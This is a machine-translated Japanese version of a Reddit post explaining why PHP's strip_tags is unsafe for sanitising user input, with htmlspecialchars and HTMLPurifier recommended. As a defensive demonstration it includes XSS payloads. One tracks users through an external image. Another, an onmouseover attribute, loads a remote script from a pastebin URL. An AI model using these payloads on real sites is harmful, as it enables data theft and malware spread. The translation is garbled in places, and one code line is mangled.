strip_tagsは使用しないでください。安全ではなく、信頼性もありません。使用する必要があるものについては、strip_tagsに関する次の説明をお読みください。
reddit.comでのStrip_tagsディスカッション
::Reddit投稿の詳細::
strip_tagsは、Webページへのユーザー入力を安全に表示するために使用される一般的なgo-to関数の1つです。しかし、そのように聞こえるのとは反対に、strip_tagsはこれに使用するのに適切な関数ではなく、多くの問題があります。理由は次のとおりです。
- 正当なテキストを食べることができます。「これはx<yであることを示しています」に変わります。「これはそのxを示しています」に変換し、「>」を閉じない限り、コメントの残りの行を引き続き使用します。(たとえば、人々がHTMLについて議論するのを防ぎます。)
- 型指定されたHTMLエンティティを妨げることはありません。人々はそれを悪用して、単語フィルターとスパムフィルターをバイパスすることができます(そして実際にそうします)。
- 2番目のパラメーターを使用して一部のタグを許可することは、100%危険です。それは無邪気に始まります:誰かがユーザーコメントの単純なフォーマットを許可したいと思って、次のようなことをします:
strip_tags()について誰もが知っておくべきこと
strip_tagsは、Webページへのユーザー入力を安全に表示するために使用される一般的なgo-to関数の1つです。しかし、そのように聞こえるのとは反対に、strip_tagsはこれに使用するのに適切な関数ではなく、多くの問題があります。理由は次のとおりです。
正当なテキストを食べることができます。「これはx<yであることを示しています」に変わります。「これはそのxを示しています」に変換し、「>」を閉じない限り、コメントの残りの行を引き続き使用します。(たとえば、人々がHTMLについて議論するのを防ぎます。)
型指定されたHTMLエンティティを妨げることはありません。人々はそれを悪用して、単語フィルターとスパムフィルターをバイパスすることができます(そして実際にそうします)。
2番目のパラメーターを使用して一部のタグを許可することは、100%危険です。それは無邪気に始まります:誰かがユーザーコメントの単純なフォーマットを許可したいと思って、次のようなことをします:
$ message = strip_tags($ message、'');
ただし、タグの属性は削除されません。だから私はあなたのサイトに来て、このようなコメントを投稿することができます:
<b style="color:red;font-size:100pt;text-decoration:blink">hello</b>
突然、好きなフォーマットを使用できるようになりました。または私はこれを行うことができます:
<b style="background:url(http://someserver/transparent.gif);font-weight:normal">hello</b>
それを使用して、ユーザーが知らないうちにサイトを閲覧しているユーザーを追跡できます。
または、私が特に悪かった場合は、次のようなことができます。
<b onmouseover="s=document.createElement('script');s.src='http://pastebin.com/raw.php?i=j1Vhq2aJ';document.getElementsByTagName('head')[0].appendChild(s)">hello</b>
それを使用して、誰かのカーソルが私のコメントの上を移動することによってトリガーされた、自分のスクリプトをあなたのサイトに挿入することができました。このようなスクリプトは、ページの完全な権限を持つユーザーのブラウザで実行されるため、非常に危険です。プライベートユーザーデータを盗んだり削除したりする可能性があります。偽のメッセージや衝撃的な画像を表示するなど、ページの任意の部分を変更する可能性があります。サイトの評判を悪用して、ユーザーをだましてマルウェアをダウンロードさせる可能性があります。単一のコメントは、それを表示するユーザーから新しいコメントを送信することにより、サイト全体に急速に広まる可能性があります。
その2番目のパラメーターを使用することの危険性を誇張することはできません。誰かが十分に気にかけていれば、それを利用して大混乱を引き起こす可能性があります。
2番目のパラメーターは、既知の安全なテキストに対しても適切に機能しません。タグ名の一部として「/」が表示されるため、 likeの使用法strip_tags('text in which we want line breaks<br/>but no formatting', '<br>')
では、ブレークが削除されます。
ユーザーが送信した入力でHTMLとフォーマットを禁止したいだけで、入力したとおりにWebページにテキストを表示したい場合、正しい関数はhtmlspecialcharsです。複数行を表示する場合は、nl2brを続けます。そうでない場合、テキストは1行に表示されます。(++編集:使用している文字セットを知っておく必要があります(そうでない場合は、Web標準になりつつあるUTF-8をどこでも使用することを目指してください)。奇妙な非ASCII互換を使用している場合文字セットを正しく機能させるには、htmlspecialcharsの2番目のパラメーターとしてそれを指定する必要があります。)
フォーマットを許可したい場合は、HTML、Markdown、BBCode、Wikitextなどのさまざまな構文を安全に使用できるように事前に設計された適切なライブラリがあります。
フォーマットを許可する場合は、これを行うために設計された適切なライブラリを使用する必要があります。Markdown(Redditで使用される)はユーザーフレンドリーなフォーマット構文ですが、flyingfirefoxが以下で説明しているように、HTMLを許可し、それ自体は安全ではありません。(これはフォーマッターであり、消毒剤ではありません)。フォーマットのためのHTMLおよび/またはMarkdownの使用は、strip_tagsが行うことになっていたことを行うHTMLPurifierのようなサニタイザーで完全に安全にすることができます。BBCodeは別のオプションです。
単純なものであっても、独自のフォーマッターを作成する必要があると感じた場合は、既存の実装を調べて、それらが信頼できる安全なものにするために驚くほど多くの微妙な点があるため、それらが何をするかを確認してください。
strip_tagsを使用する唯一の適切なタイミングは、そこにあるはずのHTMLを削除することであり、現在は非HTML形式に変換しています。たとえば、HTMLとしてフォーマットされたコンテンツがあり、それをプレーンテキストファイルに書き込みたい場合は、strip_tagsを使用し、続いてhtmlspecialchars_decodeまたはhtml_entity_decodeを使用します。(この場合、strip_tagsには、正当なテキストを削除するという欠陥はありません。これは、テキストが最初にHTMLに作成されたときに、テキストがエンティティとして適切にエスケープされているはずだからです。)
一般的に、strip_tagsは間違った関数です。絶対に使用しないでください。また、使用する場合は、遅かれ早かれ誰かがそれを悪用するため、絶対に2番目のパラメーターを使用しないでください。